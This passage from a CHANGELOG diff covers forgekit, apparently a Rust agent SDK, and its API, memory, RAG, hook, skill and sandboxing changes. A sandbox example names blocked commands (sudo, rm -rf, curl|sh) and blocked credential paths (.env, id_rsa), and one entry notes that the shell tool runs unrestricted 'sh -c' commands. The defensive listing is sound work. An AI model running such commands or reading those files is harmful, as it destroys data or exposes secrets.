`ChatResponse`, `CodeRetriever`, `ContentBlock`, `EventBus`, `HookConfig`, `LlmError`, `SkillRegistry`, `StepEvent`, `ToolDef`, `ToolOutput`, `ToolRegistry`, `VerifierFn`, `LlmConfig`, `LlmProvider`, `AgentError`, `AgentTask`, `Result` + +- **Stability contract** on public traits: + - `AsyncTool`, `ToolRegistry`, `ChatProvider`, `CodeRetriever`, `LlmProvider` β€” doc comments with stability commitment: breaking changes accompanied by major version bump + - `#[non_exhaustive]` on all public data types: `ToolDef`, `ToolCall`, `ToolOutput`, `ChatMessage`, `ChatResponse`, `ContentBlock`, `Usage`, `LlmError`, `StepEvent`, `HookConfig`, `HookEvent`, `HookSpec`, `HookGroup`, `AgentError` + - `ChatResponse::new()` + `with_finish_reason()` constructors added (struct literal blocked by `#[non_exhaustive]`) + +- **Public SDK surface** (`forgekit_agent/src/lib.rs`): + - `LlmConfig`, `LlmProvider` re-exported at crate root (no longer need `forgekit_agent::llm::*`) + - 15 internal modules changed to `pub(crate)`: `agent_loop`, `audit`, `commit`, `llm`, `mutate`, `planner`, `policy`, `verify`, `workflow`, `context`, `generate`, `agent_config`, `orchestrate`, `transaction`, `runtime_integration` + - 4 modules remain `pub`: `chat` (contract surface), `observe`, `envoy` (feature-gated), `evidence` (feature-gated) + - All examples and integration tests updated to use crate-root imports + +### Changed + +- **`cargo check -p forgekit-agent --all-targets --all-features` now passes** β€” was 16 errors (private module access, missing trait methods) +- **`cargo clippy --all-targets --all-features`**: 0 clippy lint warnings +- **`llm::MockProvider` gated behind `#[cfg(test)]`** β€” was `pub` but only used by tests; no longer generates dead-code warnings in release builds +- **Examples updated**: `minimal_agent`, `debug_react`, `orchestration` now use `forgekit_agent::LlmConfig` and `forgekit_agent::LlmProvider` instead of `forgekit_agent::llm::*` +- **Integration tests updated**: `ollama_integration`, `llm_providers_integration`, `full_workflow` now use crate-root imports +- **`debug_react` example**: added `_ => {}` catchall for `#[non_exhaustive]` ContentBlock match +- **`TokenTracker`, `RecordingTool`, `MockChatProvider` migrated from `std::sync::Mutex` to `parking_lot::Mutex`** β€” eliminates 12 poisoning-panic sites across the per-LLM-response accounting path (`TokenTracker`, 4Γ— `.lock().expect()`) and pub test-support mocks (`RecordingTool` 4Γ—, `MockChatProvider` 4Γ—). No API change; all migrated `Mutex` fields are private. +- **BREAKING: `SharedSandbox` migrated from `std::sync::Mutex` to `parking_lot::Mutex`** β€” the public type alias `chat::sandbox::SharedSandbox` (re-exported at `chat`) and the `shared_sandbox()` constructor now wrap a `parking_lot::Mutex`. This eliminates the last 3 production `.lock().expect("invariant: sandbox lock")` sites in `builtins.rs`. Callers that construct `SharedSandbox` via `shared_sandbox()` or pass it through `with_sandbox()` are unaffected; only code that manually `.lock()`s it (none outside `builtins.rs`) must drop `.unwrap()`/`.expect()`. +- **All 12 undocumented `#[allow(...)]` lint suppressions eliminated** under the zero-tolerance policy (verified: `rg '#\[allow\(' src/ --type rust` returns 0 hits without `reason=`): + - Deleted 5 dead test-only builder methods (`with_dep`/`with_compensation`) and a dead `compensation` field in `workflow` mock structs (`deadlock.rs`, `dag/tests.rs`, `rollback/tests.rs`). + - Deleted 2 deserialized-but-unread response fields (`role`, `thinking`) from Ollama provider `Deserialize` structs (`ollama.rs`). + - Introduced `pub(crate) type CompensateFn` β€” the shared undo/compensation closure signature β€” replacing 3Γ— `#[allow(clippy::type_complexity)]` in `task.rs`/`tool_compensation.rs`; `type WatchHandle` replacing 1Γ— in `watcher.rs`. + - **BREAKING: `KnowledgeGraph::add_symbol` signature reduced from 9 to 6 params** via the new `SourceSpan { file, line, byte_start, byte_end }` struct (re-exported at `crate::knowledge::SourceSpan`), removing the last `#[allow(clippy::too_many_arguments)]`. All call sites (test-only β€” `add_symbol` has no production callers) updated. Byte-span grouping is a reusable concept for the knowledge-graph API. + +### Known Limitations + +- **88 dead-code warnings in `workflow/` internal modules** β€” RESOLVED. `cargo clippy --all-targets --all-features -- -D warnings` now passes clean. Dead composability primitives and unused task types cleaned per zero-tolerance policy. +- **`workflow/executor/tests.rs` exceeds 1K LOC** β€” RESOLVED. Split into `tests/` directory with 10 thematic submodules (basic, rollback, checkpoint, resume, compensation, validation, cancellation, timeout, parallel, forge_context) + shared `MockTask` in `mod.rs`. +- **3 TODOs in `workflow/`** β€” RESOLVED. `WithCompensation` semantics documented in `combinators.rs` (ConditionalTask runs then-branch; TryCatchTask returns try result without catch). `timeout.rs` test comment clarified as structural test. +- **Production `Mutex` poisoning-panic sites** β€” RESOLVED. All production `std::sync::Mutex` usage migrated to `parking_lot::Mutex`: `MockEvidenceRecorder` (6Γ— `.lock().unwrap()`), `TokenTracker` (4Γ— `.lock().expect()` on the per-LLM-response path), `RecordingTool` + `MockChatProvider` (8Γ— `.lock().expect()` in pub test-support mocks), and `SharedSandbox` (3Γ— `.lock().expect("invariant: sandbox lock")` in `builtins.rs` β€” a breaking API change, authorized since the crate has no downstream consumers). `ForgeSession` and `ShellCommandTask` were already `parking_lot`. An inclusive scan (`rg '\.lock\(\)\.(unwrap|expect)\('` over non-test `src/`) confirms zero production `.lock().unwrap()`/`.lock().expect()` remain; the 15 remaining matches are all in `#[cfg(test)]` modules (idiomatic). (The original "14-runtime-unwrap" tally had misattributed `ForgeSession`/`ShellTask`, which were already `parking_lot`, and counted test-only example unwraps.) +- **`temperature` and `max_tokens` in `AgentConfig`** β€” RESOLVED. `resolve_chat_config()` helper merges `.forge.toml` `[agent]` values as defaults; explicit `LlmConfig` values always win. Wired into `run_react`, `run_react_stream`, `spawn`. +- **Skill routing is keyword-based, not semantic** β€” edge cases where multiple skills score similarly need explicit trigger tuning + +- **Stage 1: Memory & Context** (`forgekit_agent/src/chat/`): + - `ConversationStore` trait + `FileConversationStore` (JSON per session) in `memory.rs` β€” 9 tests + - `ContextWindow` with `TrimStrategy` (SlidingWindow, KeepSystemAndRecent) and `estimate_tokens()` in `context_window.rs` β€” 9 tests + - `PromptTemplate` with `{variable}` injection, `FewShotExample`, `PromptLibrary` with `.md`/`.json` dir loading in `prompts.rs` β€” 10 tests + - `ToolOutput::truncated(max_bytes)` + `truncate_tool_output()` β€” auto-truncation in ReAct loop via `LlmConfig.max_tool_output_bytes` (default 8KB) β€” 5 tests + - `Conversation` gains `with_session_id()`, `with_store()`, `record_usage()`, `total_tokens()`, auto-save on push + +- **Stage 2: Error Recovery & Reliability** (`forgekit_agent/src/chat/`): + - `ReActLoop::with_step_retries(n)` β€” LLM errors caught, error context fed back to conversation, loop continues until consecutive errors exceed threshold (default 2). `step_retries(0)` for immediate fail (backward compat). β€” 3 tests + - `VerifierFn` + `ReActLoop::with_verifier()` β€” optional callback validates final answer; rejected answers trigger re-prompt. β€” 3 tests + - `chat_structured(provider, messages, config)` β€” free function (preserves `dyn ChatProvider` object safety) that calls provider with no tools, strips markdown code fences (`json`/`JSON`/bare), parses response as `T`. Returns `LlmError::Parse` on failure. β€” 5 tests + - `RetryProvider` extended with `ContextTrimmer` type, `with_context_trimmer()`, automatic message trimming on `ContextLengthExceeded`. Default trimmer removes oldest non-system message. Stops retrying if trim doesn't reduce message count. β€” 5 tests + - `AgentError::ReActFailed` variant added + +- **Stage 3: RAG Pipeline** (`forgekit_agent/src/chat/retrieval.rs`): + - `CodeRetriever` trait: `async fn retrieve(&self, query: &str, top_k: usize) -> Vec` β€” object-safe, `Send + Sync` + - `CodeSnippet` struct: file path, line number, content (with context lines), relevance score, `RetrievalSource` (File/Graph/Knowledge). `Display` impl for injection into prompts. + - `FileCodeRetriever` β€” keyword-based search over source files. Multi-term scoring with definition bonuses (`fn`/`struct`/`impl`). Configurable context lines. Skips `target/`, `.git/`, `.forge/`, `.magellan/`, `node_modules/`. β€” 15 tests + - `AtheneumRetriever` (behind `atheneum` feature) β€” queries `atheneum::graph::AtheneumGraph::query_knowledge()`, formats discoveries and handoffs as `CodeSnippet`s via `spawn_blocking` + - `ReActLoop::with_retriever()` + `with_retrieval_top_k()` (default 5) β€” auto-injects matching snippets as system context before user message in both `run()` and `run_stream()`. β€” 3 tests + +- **Stage 4: Agent Composition** (`forgekit_agent/src/`): + - `Agent` passthrough methods: `with_verifier()`, `with_retriever()`, `with_retrieval_top_k()`, `with_max_iterations()`, `with_step_retries()`. All wired through `run_react()`, `run_react_stream()`, and `spawn()`. `VerifierFn` changed from `Box` to `Arc` for `&self` compatibility. β€” 6 tests + - `Agent::spawn()` β€” spawns ReAct loop as `tokio::spawn` task, returns `AgentTask` handle with `IntoFuture` + `Debug` impl. Agents run concurrently. β€” 2 tests + - `Orchestrator` (`orchestrate.rs`) β€” `add_agent()`, `add_agent_with_id()`, `run_sequential()` (chain outputβ†’input, stop-on-error), `run_parallel()` (all agents same query, fail-fast), `run_parallel_allow_partial()` (collect successes + failures). `OrchestrateResult` with `is_success()`, `agent_id()`, `result()`, `error()`. `AgentFuture` type alias. β€” 7 tests + - `AgentConfig` (`agent_config.rs`) β€” loads from `[agent]` section in `.forge.toml`. Fields: `max_iterations`, `step_retries`, `retrieval_top_k`, `system_prompt`, `tools` (allowlist), `temperature`, `max_tokens`. Of these, `max_iterations`, `step_retries`, `retrieval_top_k`, and `system_prompt` are applied automatically during `Agent::new()`. `temperature` and `max_tokens` are parsed and stored but not yet wired to the LLM config (requires caller to read from `AgentConfig` and pass to `with_chat_provider()`). Tool allowlist filters registered tools via `BuiltinToolRegistry::retain()`. β€” 10 unit tests + 4 integration tests + - `BuiltinToolRegistry::retain()` β€” filters tools by name predicate, invalidates definition cache. + +- **Stage 5: Observability & DX** (`forgekit_agent/src/chat/`): + - `EventBus` + `AgentEvent` (`events.rs`) β€” typed pub/sub event system for agent lifecycle observability. `subscribe()` registers async callbacks, `emit()` fires to all subscribers. `Clone` shares subscriber list. 11 event variants: `SessionStarted`, `IterationStarted`, `LlmResponseReceived`, `LlmError`, `ToolCallStarted`, `ToolCallCompleted`, `RetrievalInjected`, `VerificationFailed`, `AnswerProduced`, `MaxIterationsReached`. β€” 6 unit tests + 1 integration test + - `ReActLoop::with_event_bus()` β€” wires EventBus into `run()`, `run_stream()`, and `spawn()`. Events emitted at every lifecycle point. `Agent::with_event_bus()` propagates to all ReAct paths. + - `TokenTracker` (`token_tracker.rs`) β€” `attach(&EventBus)` subscribes to `LlmResponseReceived` and accumulates `prompt_tokens`, `completion_tokens`, `total_tokens`, `llm_calls`. Uses `std::sync::Mutex` for synchronous subscriber safety. β€” 5 tests + - `RecordingTool` + `FailingTool` (`testing.rs`) β€” mock tools for agent unit tests. `RecordingTool` captures all calls with arguments and outputs. `FailingTool` always returns an error. β€” 5 tests + - `tracing` integration β€” `info_span!("react_loop")` around `ReActLoop::run()`, `debug!` at iteration start, LLM response, tool calls, answer. `warn!` on error recovery and max iterations. + +- **Stage 6: Security & Sandboxing** (`forgekit_agent/src/chat/sandbox.rs`, `agent_config.rs`, `builtins.rs`): + - `Sandbox` β€” regex-based command and path blocking. `with_blocked_commands(patterns)`, `with_blocked_paths(patterns)`. `is_command_allowed()`, `is_path_allowed()`. `SharedSandbox` type alias for `Arc>>`. `Sandbox::from_config()` reads from `[agent]` section. β€” 6 unit tests + - `AgentConfig` extended with `denied_tools` (deny takes precedence over allow), `blocked_commands` (regex patterns for shell), `blocked_paths` (regex patterns for file access). β€” 3 new tests + - `ShellExecTool`, `FileReadTool`, `FileWriteTool` gain optional `SharedSandbox` field via `with_sandbox()`. Sandbox checked before execution. β€” 4 integration tests + - `default_builtin_tools_sandboxed()` and `default_builtin_tools_with_graph_sandboxed()` β€” new constructors that inject sandbox into all sandbox-aware tools. + - `Agent::build_tool_registry()` auto-detects sandbox config and uses sandboxed constructors when needed. + +- **Stage 7: Documentation & Examples**: + - Fixed 8 pre-existing rustdoc warnings in `workflow/` module: unresolved links (`is_cancelled`, `wait_until_cancelled`), redundant explicit link targets, unclosed HTML tag (``). `cargo doc` now produces zero warnings. + - `examples/minimal_agent.rs` β€” High-level SDK usage: create agent, attach EventBus + TokenTracker, run ReAct loop, print usage stats. Requires `llm-ollama`. + - `examples/orchestration.rs` β€” Multi-agent sequential orchestration with Orchestrator builder pattern. Requires `llm-ollama`. + - `examples/sandbox_config.rs` β€” Standalone sandbox demo: blocked commands (sudo, rm -rf, curl|sh) and blocked paths (.env, id_rsa, credentials). No LLM required. + +- **Code Modularization** (quality maintenance): + - `lib.rs` (1184 LOC) split: `Agent` struct + all impls + `load_llm_from_forge_toml` extracted to `agent.rs`. `lib.rs` becomes slim crate root with module declarations, type definitions, and re-exports. Internal fields/methods use `pub(crate)` visibility for test and runtime_integration access. + - `atheneum_tool.rs` (1070 LOC) split: 27 command handlers extracted into `atheneum_tool/handlers.rs` (714 LOC), tests into `atheneum_tool/tests.rs` (269 LOC), struct + dispatch + definition remain in `atheneum_tool/mod.rs` (193 LOC). All under 1K LOC limit. + - `workflow/executor.rs` split into `executor/` package: `mod.rs` (struct + `new()` + builder), `serial.rs` (`execute` path), `parallel.rs` (`execute_parallel` + `execute_task` + fork-join helpers), `audit.rs`, `result.rs` (`WorkflowResult`), `tests.rs`. + - `workflow/tasks.rs` split into `tasks/` package: one file per task type β€” `graph_query.rs`, `agent_loop.rs`, `shell.rs`, `file_edit.rs`, `tool.rs` β€” plus `mod.rs` and `tests.rs`. + - `workflow/tools.rs` split into `tools/` package: `types.rs` (Tool/ToolInvocation/ToolResult/ToolError), `fallback.rs` (FallbackHandler/RetryFallback/SkipFallback/ChainFallback), `process.rs` (ProcessGuard + Drop + ToolCompensation From impl), `registry.rs` (ToolRegistry). + - `workflow/loop.rs` split into `agent_loop/` package: `types.rs` (AgentPhase/AgentLoopCheckpoint/LoopResult/DiscoveryStore trait), `phases.rs` (6 phase functions), `mod.rs` (AgentLoop struct + `run()` dispatcher). + - `planner.rs` split into `planner/` package: `types.rs` (PlanStep/PlanOperation/ImpactEstimate/Conflict/RollbackStep), `parsing.rs` (`parse_llm_steps`/`json_value_to_step`/`detect_intent`). + - `workflow/checkpoint/mod.rs` split: validation logic (ValidationStatus, ValidationCheckpoint, ValidationResult, RollbackRecommendation, `validate_checkpoint`, `can_proceed`, `requires_rollback`, `extract_confidence`) extracted to `checkpoint/validation.rs`; service logic remains in `checkpoint/service.rs`. + - `workflow/rollback.rs` split into `rollback/` package: `tool_compensation.rs` (ToolCompensation), `compensation_registry.rs` (CompensationRegistry), `engine.rs` (RollbackEngine + strategies). + - `forgekit_core/src/cfg/` modularized: `DominatorTree` extracted to `cfg/dominators.rs`; `PathBuilder` + `Path` merged into `cfg/paths.rs` (renamed from `path_builder.rs`); `cfg/types.rs` now holds only `Loop`. + - `forgekit_core/src/analysis/` modularized: `operations.rs` renamed to `analysis/diff.rs` (Diff + EditOperation + Insert/Delete/Rename operations); 5 impact-analysis types (ImpactData, ImpactAnalysis, CrossReferences, ReferenceChain, CallChain) extracted to `analysis/impact.rs`. + +- **Test Quality** (vacuous-stub replacement): + - 4 test stubs that passed vacuously (0 CFG blocks, proving nothing) replaced with real behavioral assertions: `test_parallel_tasks_both_execute` (shared side-effect log proves both fork-join tasks ran), `test_shell_task_parses_command_and_args` (verifies parsed SHELL task type/command/args at YAML level), `test_insert_reference_and_query` (NativeV3 round-trip: insert reference, query, discriminating negative), `test_shell_command_task_executes_command` (file side-effect proves `touch` ran + failure-path test for invalid command). Net +1 test from the added failure-path case. + +- **DB Path Registry Integration** (`forgekit_core/src/storage/mod.rs`): + - `default_db_path()` now reads `~/.config/magellan/registry.toml` to resolve the correct DB for a project, matching the magellan service convention (`~/.magellan//.db`). + - Handles both `src/` and non-`src/` paths, so `Forge::open("./forge/forgekit_core")` and `Forge::open("./forge/forgekit_core/src")` both resolve to `~/.magellan/forge/forgekit-core.db`. + - Falls back to `~/.magellan//.db` (subdirectory convention) when no registry entry matches. + - Previously produced `~/.magellan/forge.db` (flat), which created a separate DB disconnected from the magellan-indexed data. + - 4 registry lookup tests + 2 fallback tests. + +- **Hook System** (`forgekit_agent/src/chat/hooks/`): Claude Code–compatible lifecycle hooks for policy enforcement. + - `HookEvent` enum: `SessionStart`, `PreToolUse`, `PostToolUse`, `Stop`, `SubagentStop` + - `HookConfig` parsed from `.forge.toml` `[hooks]` section (TOML array-of-tables format matching Claude Code's `settings.json` schema) + - `HookRunner` executes shell commands with JSON context on stdin, respects timeout, exit code 0 = allow, exit code 2 = block + - `matcher` field on `HookGroup` β€” regex filter on tool name (e.g., `"Write|Edit"`, `"Bash"`) + - `ReActLoop::with_hooks()` β€” hooks fire at: SessionStart (before first LLM call), PreToolUse (before `registry.execute()`), PostToolUse (after), Stop (after answer or max iterations) + - `Agent::with_hooks()` builder method; hooks propagated to both `run_react()` and `run_react_stream()` + - 10 tests: empty runner, exit-0 allows, exit-2 blocks, matcher filtering, regex matcher, timeout, context JSON, multiple hooks, session start, blocked propagation + +- **Skill System** (`forgekit_agent/src/chat/hooks/skills/`): Claude Code–compatible skill discovery, loading, and injection. + - `SkillLoader` discovers `SKILL.md` files from multiple sources: `{project}/.forge/skills/` (project-local), `~/.forge/skills/` (user-level), `~/.claude/skills/`, and `~/.config/opencode/skills/`. + - YAML frontmatter parsing with `---` delimiters: `name`, `description` (quoted/unquoted/single-quoted), `depends_on` (inline `[a, b]` or list-style `- a` with recursive resolution). + - Implicit trigger extraction from descriptions when no explicit `Triggers:` line present. + - `SkillRegistry::rank_matching()` with confidence-threshold filtering (`MIN_CONFIDENCE_SCORE = 2.0`). Noisy/accidental matches rejected. + - `SkillRegistry::load_with_deps()` β€” recursive dependency resolution with cycle protection via seen-set. + - `SkillRegistry::rank_and_load(query, max_skills, max_bytes)` β€” byte-budget-capped loading. Respects `MAX_INJECTED_BYTES = 32KB`. + - `SkillManifest::match_score()` β€” weighted scoring across trigger keywords, name components, and description content. Minimum 3-char word length for substring matches to prevent short-word noise. + - `SkillContent::system_prompt_fragment_bounded(max_bytes)` β€” truncated fragment with truncation marker when skill exceeds per-slot budget. + - `SkillTool` β€” built-in tool exposing `list`, `load`, `search` for manual skill inspection. + - Auto-injection: `Agent::build_system_prompt_for_query(query)` classifies the task, ranks skills, loads top matches with deps (bounded), and appends to system prompt before first LLM call. Called by `run_react()`, `run_react_stream()`, and `spawn()`. + - Custom system prompts (`[agent] system_prompt = "..."` in `.forge.toml`) are included in the base prompt β€” skills are appended on top, not bypassed. + - 6 new direct tests: `test_build_system_prompt_for_query_injects_matched_skill`, `test_build_system_prompt_for_query_no_match_returns_base`, `test_build_system_prompt_for_query_custom_prompt_appends_skills`, `test_build_system_prompt_for_query_without_registry`, `test_routing_fix_bug_prefers_debugging_over_tdd`, `test_routing_verify_prefers_verification`. + - Known limitation: Routing is keyword-based, not semantic. Edge cases where multiple skills score similarly may need explicit trigger tuning in SKILL.md files. + +- **Atheneum Integration** (`forgekit_agent/src/chat/tools/atheneum_tool.rs`): Direct crate access to atheneum knowledge graph. + - Feature flag `atheneum` gates `dep:atheneum` (path dependency) + - **Discovery**: `store_discovery`, `query_knowledge`, `query_knowledge_in_project` + - **Handoff**: `store_handoff`, `get_pending_handoff`, `claim_handoff` + - **Evidence**: `record_session`, `end_session`, `record_evidence_prompt`, `record_evidence_tool_call`, `record_evidence_file_write`, `record_evidence_commit`, `record_evidence_test_run`, `record_evidence_fix_chain`, `record_evidence_bench_run`, `query_events` + - **Planning**: `create_task`, `update_task_status`, `find_task`, `list_tasks`, `add_requirement`, `mark_requirement_met`, `add_blocker`, `resolve_blocker`, `get_task_details` + - Auto-registered in `build_tool_registry()` when `.atheneum/atheneum.db` exists in project + - 12 tests: store+query, handoff round-trip, empty query, unknown command, session round-trip, evidence tool call, planning task lifecycle (create/find/update/list/requirement/blocker/details), query events, status/blocker parse validation, definition + +- **Envoy Integration** (`forgekit_agent/src/chat/tools/envoy_tool.rs`): Multi-agent coordination and evidence tracking via envoy HTTP. + - Feature flag `envoy` now also pulls in `dep:envoy` crate (typed message/handoff structures alongside existing reqwest HTTP transport) + - **Messaging**: `send_message`, `poll_messages` + - **Discovery**: `store_discovery`, `query_discoveries`, `query_knowledge` + - **Handoff**: `store_handoff`, `get_pending_handoff`, `claim_handoff` + - **Evidence**: `record_evidence_prompt`, `record_evidence_tool_call`, `record_evidence_file_write`, `record_evidence_commit`, `record_evidence_test_run`, `record_evidence_fix_chain`, `record_evidence_bench_run`, `query_events` + - `EnvoyClient` extended with `claim_handoff()`, `forge_bench_run()`, `query_events()` methods + - Auto-registered in `build_tool_registry()` when envoy client is configured + - 1 test: definition verification (HTTP tests require running envoy) + +- **Agent Wiring** (`forgekit_agent/src/lib.rs`): + - `Agent` struct extended with `hook_config: Option` and `skill_registry: Option>` + - `Agent::with_hooks()`, `Agent::with_skill_registry()` builder methods + - `build_tool_registry()` β€” constructs registry with builtin tools + graph + skill + atheneum + envoy based on configuration + - `build_system_prompt()` β€” dynamically includes tool descriptions for available capabilities + - `run_react()` and `run_react_stream()` use new builders; hooks injected into `ReActLoop` + +- **Chat & Tool-Calling SDK** (`forgekit_agent/src/chat/`): Model-agnostic SDK for LLM-driven agent workflows. - `ChatProvider` trait with `chat()` (request/response) and `chat_stream()` methods - `OllamaChatProvider` β€” Ollama `/api/chat` with tool calling and NDJSON streaming - `OpenAiChatProvider` β€” OpenAI `/v1/chat/completions` with bearer auth and SSE streaming @@ -26,9 +225,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - `validate_tool_arguments()` β€” wired into `BuiltinToolRegistry::execute()` to reject calls with missing required parameters before dispatching to the tool - Feature flags: `llm-ollama`, `llm-openai`, `llm-anthropic` (each gates `dep:reqwest`) - `Agent::with_chat_provider()` + `Agent::run_react()` β€” LLM-driven autonomous agent as alternative to fixed 6-phase pipeline + - `Agent::run_react_stream()` β€” streaming variant yielding `ReactStreamEvent` (tokens, tool executions, answer) as they happen + - `ReactStreamEvent` enum β€” `LlmEvent`, `IterationStart`, `ToolExecuted`, `Answer`, `MaxIterationsReached` + - **`GraphQueryTool`** β€” built-in tool exposing `find_symbol`, `callers_of`, `references`, `cycles`, and `impact_analysis` via the Forge SDK graph. Registered in `run_react()` when Forge is available. 11 tests. +- **README rewritten** β€” Honest documentation covering core SDK, agent layer, chat providers, graph query tool, workflow engine, known limitations. All examples verified against actual public APIs. Removed stale feature flags and inflated claims. ### Changed +- **Unified execution core** β€” `run()` and `run_stream()` now share a single `run_core()` implementation. `StepEvent` is the single source of truth for all loop state transitions. `run()` is a thin wrapper (~5 LOC) that calls the core in batch mode. `run_stream()` is a thin wrapper (~10 LOC) that calls the core in streaming mode and maps `StepEvent` β†’ `ReactStreamEvent`. Tool execution, hooks, verifier, error handling, event bus β€” all shared, zero duplication. +- **`StepEvent` enum** (`step.rs`) β€” replaces scattered `EventBus::emit()` calls with a single `emit()` method that bridges to both `AgentEvent` (for EventBus subscribers) and `ReactStreamEvent` (for stream consumers). 188 LOC including adapters. +- **`react.rs` reduced from 691 β†’ 569 LOC** β€” extracted `call_llm_batch()`, `call_llm_stream()`, `execute_tools()` as helper methods. The `use_streaming` flag controls only the LLM call path; everything else is unified. +- **Streaming `LlmResponseReceived` now includes accumulated usage** β€” `StreamEvent::Usage` events are accumulated during streaming and emitted as part of `StepEvent::LlmResponseReceived`, matching the batch path. + - **`run_react()` returns `String`** β€” the LLM's final text answer, not a synthetic `LoopResult`. The ReAct loop does not create git transactions or track modified files. - **`LlmProviderAdapter` now errors on tool calls** β€” previously silently discarded tools and multi-turn history. Now returns `LlmError::Provider` if any tools are passed. Assistant and tool-result messages are flattened into the prompt for legacy providers. - **`validate_tool_arguments()` is enforced at the registry level** β€” `BuiltinToolRegistry::execute()` validates required parameters before calling the tool. Tool implementations no longer need to do their own required-arg checks. @@ -37,95 +245,46 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **`Conversation::truncate_to()` preserves system messages** β€” when `keep` is less than the system message count, system messages are now kept rather than dropped. - **OpenAI tool-call argument parse failures are preserved** β€” malformed JSON from the LLM is kept as `{"_parse_error": ""}` instead of silently becoming `{}`. - **Anthropic content blocks include `type` field** β€” `Text` and `ToolUse` variants now serialize `"type": "text"` and `"type": "tool_use"` as required by the Anthropic API. -- **Replaced petgraph with sqlitegraph TypedDiGraph** (from 0.4.0 cycle) -- **Tool deps are now required** (from 0.4.0 cycle) +- **True token-by-token streaming** β€” `chat_stream()` now uses a spawned task with `futures::channel::mpsc` to emit `StreamEvent`s as each line arrives from the HTTP byte stream. Previously collected all events into a `Vec` before emitting any (batch-then-yield). All three providers (Ollama NDJSON, OpenAI SSE, Anthropic SSE) converted to the new `spawn_line_stream` infrastructure. Stateful SSE parsing for Anthropic (tracks `event:` / `data:` across lines). +- **`ReActLoop` now accepts `HookRunner`** β€” `with_hooks()` builder. Pre/post tool hooks fire around every `registry.execute()` call. SessionStart and Stop hooks fire at loop boundaries. `AgentError::HookBlocked` variant added. +- **`ndjson_stream.rs` gated behind LLM feature flags** β€” no longer compiled when no LLM provider is active (eliminates phantom reqwest errors). +- **`envoy` feature now includes `dep:envoy` crate** β€” typed envoy structures available alongside existing HTTP client. +- **New feature flag `atheneum`** β€” gates `dep:atheneum` for direct knowledge graph access. ### Known Limitations -- **Streaming is batch-then-yield** β€” `chat_stream()` on all three providers buffers the entire HTTP response before emitting events. This is not true token-by-token streaming. The API surface exists for future improvement but does not deliver incremental tokens today. -- **`ShellExecTool` has no sandboxing** β€” the tool executes arbitrary `sh -c` commands with the full privileges of the process. No allowlist, no capability restriction. This is by design for an agent framework but should be documented to users. +- **`ShellExecTool` has no sandboxing** β€” the tool executes arbitrary `sh -c` commands with the full privileges of the process. No allowlist, no capability restriction. This is by design for an agent framework but should be documented to users. The hook system can be used to block destructive commands via `PreToolUse` hooks with matcher `"shell_exec"`. - **`LlmProviderAdapter` cannot support tool calling** β€” the underlying `LlmProvider` trait only accepts a flat prompt string. Use a native `ChatProvider` for agent workflows. +- **`SkillLoader` scans `~/.forge/skills/`** β€” user-level skills from the home directory are included in discovery. Tests use temp dirs and only check for presence of expected skills, not total count. +- **`AtheneumTool` opens the database on every call** β€” no connection pooling. Performance-sensitive workloads should use the atheneum crate directly. Evidence and planning commands map directly to atheneum's `AtheneumGraph` methods with no additional validation beyond what the crate provides. +- **`EnvoyTool` requires a running envoy server** β€” tests without a live server only verify tool definitions, not HTTP round-trips. Evidence commands delegate to `EnvoyClient` methods which POST to envoy's `/atheneum/*` bridge endpoints. +- **`lib.rs` exceeds 1000 LOC** β€” RESOLVED. Agent struct extracted to `agent.rs` (755 LOC). `lib.rs` now ~340 LOC. -### Changed - -- **Tool deps are now required**: `magellan`, `llmgrep`, `mirage-analyzer`, `splice`, and `which` are no longer optional feature-gated dependencies. All `#[cfg(feature = "...")]` gates and empty-return fallback arms have been removed from `CfgModule`, `SearchModule`, `EditModule`, `GraphModule`, `indexing`, and `lib`. The `tools` feature flag is removed; `default = ["sqlite"]` is the only default feature. -- **Replaced petgraph with sqlitegraph TypedDiGraph**: `forge_agent` and `forge-reasoning` no longer depend on petgraph. `DiGraph` replaced with `TypedDiGraph` from sqlitegraph 3.0.7. All algorithm calls (`toposort`, `tarjan_scc`, `is_cyclic_directed`, `Dfs`) now use sqlitegraph's typed_digraph::algo module. Bumped sqlitegraph to 3.0.7 across the workspace. -- **Test robustness fix**: `test_low_confidence_bails_before_max_attempts` no longer depends on `cargo check` output format varying across environments. Checks confidence threshold regardless of pipeline outcome. - -### Added +### Dependencies -- **Tool forge API delegation**: `forge_core` modules now delegate to `splice::forge`, `llmgrep::forge`, and `mirage_analyzer::forge` convenience functions instead of reimplementing symbol resolution and backend construction internally. -- **EditModule::delete_symbol()**: Deletes a symbol from a file via `splice::forge::delete_symbol_from_file`. -- **EditModule::resolve_span()**: Resolves a symbol to its byte span via `splice::forge::resolve_symbol_span`. -- **SearchModule::references()**: Finds all references to a symbol via `llmgrep::forge::search_references`. -- **SearchModule::calls()**: Finds all calls involving a symbol via `llmgrep::forge::search_calls`. -- **SearchModule::lookup()**: Looks up a symbol by FQN via `llmgrep::forge::lookup_symbol`. -- **CfgModule::detect_cycles()**: Detects cycles in the call graph via `mirage_analyzer::forge::detect_cycles`. -- **CfgModule::dead_symbols()**: Finds dead (unreachable) symbols via `mirage_analyzer::forge::find_dead_symbols`. -- **CfgModule::reachable_symbols()**: Finds reachable symbols via `mirage_analyzer::forge::reachable_symbols`. -- **CfgModule::callees()**: Gets outgoing calls for a function via `mirage_analyzer::forge::get_callees`. -- **CfgModule::resolve_function()**: Resolves a function name to its database ID via `mirage_analyzer::forge::resolve_function`. -- **CfgModule::database_status()**: Gets database status summary via `mirage_analyzer::forge::database_status`. -- **New types**: `CycleReport`, `CallCycle`, `DeadSymbol`, `DatabaseStatus` in `cfg` module. -- **Auto-indexing on `Forge::open()`**: `Forge::open()` and `Forge::open_with_backend()` now detect empty graph databases and auto-trigger `graph().index()` using magellan. This removes the manual indexing step for new projects. -- **Mirage-powered CFG integration**: `CfgModule` now sources real CFG data from magellan's `cfg_blocks`/`cfg_edges` tables via mirage + direct rusqlite queries. `load_test_cfg()` helper added; `dominators()`, `loops()`, and `PathBuilder::execute()` use actual control-flow edges when available. -- **`UnifiedGraphStore::needs_indexing()`**: Opens the sqlitegraph backend and checks `entity_ids().is_empty()` to determine if auto-indexing is required. -- **Magellan-unified graph module**: All `GraphModule` methods (`find_symbol`, `callers_of`, `references`, `cycles`, `impact_analysis`) now delegate to `magellan::CodeGraph` directly. No more `#[cfg(feature)]` fallback arms. `graph/queries.rs` deleted entirely. DB path resolves to `~/.magellan/.db` via `default_db_path()`. -- **Graph module Magellan unification v2**: `callers_of` replaced O(n) file iteration with targeted `search_symbols_by_name` + per-file `callers_of_symbol`. `cycles` now uses `detect_cycles()` returning 